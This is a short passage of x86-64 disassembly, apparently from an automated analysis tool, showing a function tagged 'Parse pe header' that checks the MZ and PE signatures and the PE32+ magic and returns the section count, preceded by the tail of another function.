cmp rax, r9
jne 0x1400023b0
xor eax, eax
ret

Function at 0x1400023d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004380]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400023ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400023f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400023ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret